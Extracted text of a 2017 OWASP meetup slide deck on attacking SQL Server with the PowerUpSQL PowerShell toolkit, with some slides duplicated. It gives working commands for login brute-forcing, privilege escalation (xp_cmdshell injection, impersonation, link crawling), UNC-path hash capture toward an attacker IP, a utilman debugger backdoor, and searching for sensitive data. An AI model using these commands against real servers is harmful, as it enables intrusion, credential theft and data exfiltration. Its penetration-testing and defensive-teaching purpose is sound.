Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 12: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

